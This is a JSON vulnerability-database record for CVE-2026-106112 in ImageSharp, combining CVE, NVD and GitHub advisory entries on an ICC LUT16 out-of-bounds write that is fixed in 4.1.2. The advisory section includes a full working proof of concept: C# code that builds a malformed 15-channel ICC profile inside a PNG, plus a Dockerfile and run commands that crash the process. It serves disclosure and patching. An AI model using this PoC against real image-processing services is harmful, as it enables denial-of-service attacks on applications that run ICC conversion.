{"id":"CVE-2026-106112","revision":null,"records":[{"revision":"279335e9122a49298594ea04a21a1a65","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-106112","aliases":[],"title":"ImageSharp: ICC LUT16 output channel count can write beyond Vector4","description":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ICC LUT16 conversion accepts more than four output channels even though ClutCalculator.Calculate and LutEntryCalculator.CalculateLut store intermediate and output values in Vector4. When DecoderOptions.ColorProfileHandling is set to Convert, a malformed embedded profile can direct interpolation and output-LUT operations to write one float per declared channel beyond the four-float destination. This can corrupt memory and terminate the process; the default Preserve mode does not run ICC conversion. This issue is fixed in version 4.1.2.","state":0,"publishedAt":"2026-10-06T17:45:58.944+00:00","modifiedAt":"2026-10-06T18:22:14.883+00:00","affected":[{"ecosystem":"Vendor product","name":"ImageSharp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SixLabors\",\n                    \"product\": \"ImageSharp\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.0, < 4.1.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-ffp7-56pq-64mr","https://github.com/SixLabors/ImageSharp/pull/3187","https://github.com/SixLabors/ImageSharp/commit/b03f0ed7e5be760eecc740fa53dd166b18ae9b23","https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-106112","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-106112","identifiers":["CVE-2026-106112"]},"retained":false,"historicalAffected":[]},{"revision":"0a7a045fd6184654a169284a326cb064","observedAt":"2026-10-25T04:17:41.466+00:00","statement":{"source":"nvd","id":"CVE-2026-106112","aliases":[],"title":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ICC LUT16 conversion accepts more than four output channels even though ClutCalculator.Calculate and LutEntryCalculator.CalculateLut store intermediate and output values in Vector…","description":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ICC LUT16 conversion accepts more than four output channels even though ClutCalculator.Calculate and LutEntryCalculator.CalculateLut store intermediate and output values in Vector4. When DecoderOptions.ColorProfileHandling is set to Convert, a malformed embedded profile can direct interpolation and output-LUT operations to write one float per declared channel beyond the four-float destination. This can corrupt memory and terminate the process; the default Preserve mode does not run ICC conversion. This issue is fixed in version 4.1.2.","state":0,"publishedAt":"2026-10-06T18:16:52.81+00:00","modifiedAt":"2026-10-24T01:36:19.84+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/SixLabors/ImageSharp/commit/b03f0ed7e5be760eecc740fa53dd166b18ae9b23","https://github.com/SixLabors/ImageSharp/pull/3187","https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2","https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-ffp7-56pq-64mr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106112","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-787"],"productCriteria":["cpe:2.3:a:sixlabors:imagesharp:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-10-06T18:16:52.810","lastModified":"2026-10-24T01:36:19.840"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-106112","identifiers":["CVE-2026-106112"]},"retained":false,"historicalAffected":[]},{"revision":"d642d0ec036440eea03bda9b028c1f15","observedAt":"2026-10-23T16:01:25.029+00:00","statement":{"source":"osv","id":"GHSA-ffp7-56pq-64mr","aliases":["CVE-2026-106112"],"title":"ImageSharp: ICC LUT16 output channel count can write beyond Vector4","description":"### Summary\n\nWhen ICC conversion is enabled, a malformed embedded ICC LUT16 profile with\nmore than four output channels can corrupt memory during ImageSharp color\nconversion. The ICC parser accepts up to 15 CLUT output channels, while the\nconversion implementation stores intermediate values in `Vector4`.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `>= 4.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.\n\n### Details\n\n`IccClut` accepts one through fifteen input and output channels. In the\nreproduced `A2B0` LUT16 path, an attacker-controlled profile declares three\ninput channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87)\npasses a pointer to a four-float `Vector4` result into interpolation code that\nwrites one float per declared output channel. It consequently writes fifteen\nfloats. The same LUT16 tag also has fifteen output LUTs; their\n[`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58)\nimplementation uses `Unsafe.Add` from the first float of a four-float `Vector4`.\n\nAn application reaches this code by decoding an image containing the profile\nwith `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the\ndefault and does not run ICC conversion.\n\n### Reproduction environment and result\n\nThe supplied exploit and control were run against the published NuGet 4.1.1\n`net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and\n.NET runtime 8.0.30.\n\nThe control changes only the declared output-channel count from fifteen to\nthree and completes successfully. The exploit terminates with exit status 139\nbefore it reaches the completion marker. This runtime PoC establishes memory\ncorruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which\nunsafe write first corrupts the stack. The full self-contained Docker PoC is\nincluded below.\n\nComplete control output:\n\n```text\nmode=control output_channels=3\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\npng_bytes=204\ndecode_completed\nDocker exit status: 0\n```\n\nComplete exploit output:\n\n```text\nmode=exploit output_channels=15\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\npng_bytes=207\nDocker exit status: 139\n```\n\nNo active exploitation is known.\n\n### Impact\n\nApplications that enable ICC conversion while processing attacker-supplied\nimages can be made to terminate through memory corruption in the reproduced\nLUT16 CLUT/output-LUT path. This report is limited to output-channel counts\ngreater than four in that path; it does not claim a TRC issue or other\nunreproduced ICC paths.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System;\nusing System.Buffers.Binary;\nusing System.IO;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Metadata.Profiles.Icc;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstatic class Program\n{\n    private static void U32(Stream stream, uint value)\n    {\n        Span<byte> bytes = stackalloc byte[4];\n        BinaryPrimitives.WriteUInt32BigEndian(bytes, value);\n        stream.Write(bytes);\n    }\n\n    private static void U16(Stream stream, ushort value)\n    {\n        Span<byte> bytes = stackalloc byte[2];\n        BinaryPrimitives.WriteUInt16BigEndian(bytes, value);\n        stream.Write(bytes);\n    }\n\n    private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));\n\n    // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control\n    // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.\n    private static byte[] BuildIcc(int outCh)\n    {\n        const int inCh = 3;\n        const int clutPoints = 2;\n        const int tableEntries = 2;\n        using var stream = new MemoryStream();\n\n        byte[] header = new byte[128];\n        BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3\n        Encoding.ASCII.GetBytes(\"mntr\").CopyTo(header, 12); // display device\n        Encoding.ASCII.GetBytes(\"RGB \").CopyTo(header, 16);\n        Encoding.ASCII.GetBytes(\"XYZ \").CopyTo(header, 20);\n        stream.Write(header);\n\n        U32(stream, 1);                 // one tag\n        stream.Write(Encoding.ASCII.GetBytes(\"A2B0\"));\n        long offsetField = stream.Position; U32(stream, 0);\n        long sizeField = stream.Position; U32(stream, 0);\n        long tagStart = stream.Position;\n\n        stream.Write(Encoding.ASCII.GetBytes(\"mft2\"));\n        U32(stream, 0);\n        stream.WriteByte(inCh);\n        stream.WriteByte((byte)outCh);\n        stream.WriteByte(clutPoints);\n        stream.WriteByte(0);\n        for (int y = 0; y < 3; y++)\n        {\n            for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D);\n        }\n\n        U16(stream, tableEntries);\n        U16(stream, tableEntries);\n        for (int channel = 0; channel < inCh; channel++)\n        {\n            U16(stream, 0); U16(stream, ushort.MaxValue);\n        }\n\n        for (int point = 0; point < 8; point++)\n        {\n            for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000);\n        }\n\n        for (int channel = 0; channel < outCh; channel++)\n        {\n            U16(stream, 0); U16(stream, ushort.MaxValue);\n        }\n\n        long tagEnd = stream.Position;\n        byte[] result = stream.ToArray();\n        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);\n        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));\n        BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);\n        return result;\n    }\n\n    private static byte[] BuildPng(byte[] icc)\n    {\n        using var source = new Image<Rgb24>(16, 16);\n        source.Metadata.IccProfile = new IccProfile(icc);\n        using var encoded = new MemoryStream();\n        source.SaveAsPng(encoded);\n        return encoded.ToArray();\n    }\n\n    public static int Main(string[] args)\n    {\n        string mode = args.Length == 1 ? args[0] : \"exploit\";\n        if (mode is not (\"exploit\" or \"control\")) throw new ArgumentException(\"mode must be exploit or control\");\n        int outputChannels = mode == \"exploit\" ? 15 : 3;\n        Console.WriteLine($\"mode={mode} output_channels={outputChannels}\");\n        Console.WriteLine($\"imagesharp_assembly={typeof(Image).Assembly.Location}\");\n        Console.WriteLine($\"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}\");\n        byte[] png = BuildPng(BuildIcc(outputChannels));\n        Console.WriteLine($\"png_bytes={png.Length}\");\n        var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };\n        using Image image = Image.Load(options, png);\n        Console.WriteLine(\"decode_completed\");\n        return 0;\n    }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>disable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"SixLabors.ImageSharp\">\n      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n      <Private>true</Private>\n    </Reference>\n    <Reference Include=\"System.IO.Hashing\">\n      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n      <Private>true</Private>\n    </Reference>\n  </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY ffp7.csproj Program.cs ./\n# Restore only to obtain the published package. The repro project then uses a\n# direct DLL reference so ImageSharp's package build target is not invoked.\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n    && dotnet restore fetch.csproj --nologo \\\n    && rm fetch.csproj \\\n    && dotnet build ffp7.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/ffp7.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-ffp7-poc .\ndocker run --rm imagesharp-ffp7-poc control\ndocker run --rm imagesharp-ffp7-poc exploit\n```","state":0,"publishedAt":"2026-10-07T20:24:37+00:00","modifiedAt":"2026-10-07T20:30:06.058593+00:00","affected":[{"ecosystem":"NuGet","name":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.1.2"}]}],"versions":["4.0.0","4.1.0","4.1.1"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-ffp7-56pq-64mr","https://nvd.nist.gov/vuln/detail/CVE-2026-106112","https://github.com/SixLabors/ImageSharp/pull/3187","https://github.com/SixLabors/ImageSharp/commit/b03f0ed7e5be760eecc740fa53dd166b18ae9b23","https://github.com/SixLabors/ImageSharp","https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"],"sourceUrl":"https://github.com/advisories/GHSA-ffp7-56pq-64mr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-ffp7-56pq-64mr","identifiers":["GHSA-ffp7-56pq-64mr","CVE-2026-106112"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T07:22:41.6495871+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T07:22:41.6495871+00:00","lastSuccessAt":"2026-10-26T07:22:41.8330616+00:00","error":null,"lastVerifiedAt":"2026-10-26T07:22:41.8330643+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-b8eb7385e2a340d19cd3546f49381ea6fb0fba6a3293f33235d595669c62d9d0","complete":true,"records":414077,"lastAttemptAt":"2026-10-26T07:21:02.3332693+00:00","lastSuccessAt":"2026-10-26T07:21:02.3204796+00:00","error":null,"lastVerifiedAt":"2026-10-26T07:21:02.3332693+00:00","snapshotPublishedAt":"2026-10-26T06:40:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T07:22:44.2990387+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T07:22:41.6495871+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T07:22:41.6495871+00:00","lastSuccessAt":"2026-10-26T07:22:41.8348887+00:00","error":null,"lastVerifiedAt":"2026-10-26T07:22:41.8348895+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T07:22:42.2996982+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T07:22:41.6032893+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T07:22:41.6032893+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T07:21:02.4710939+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T07:21:02.4710939+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T07:22:41.6153558+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T07:22:41.6153558+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5a8b097cf1e7add92f12edd4da6073149fa916076fa0c6696eb000c55dcfe336","complete":true,"records":230804,"lastAttemptAt":"2026-10-26T07:22:41.4723388+00:00","lastSuccessAt":"2026-10-26T07:22:40.3231371+00:00","error":null,"lastVerifiedAt":"2026-10-26T07:22:41.4723388+00:00","snapshotPublishedAt":"2026-10-26T06:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}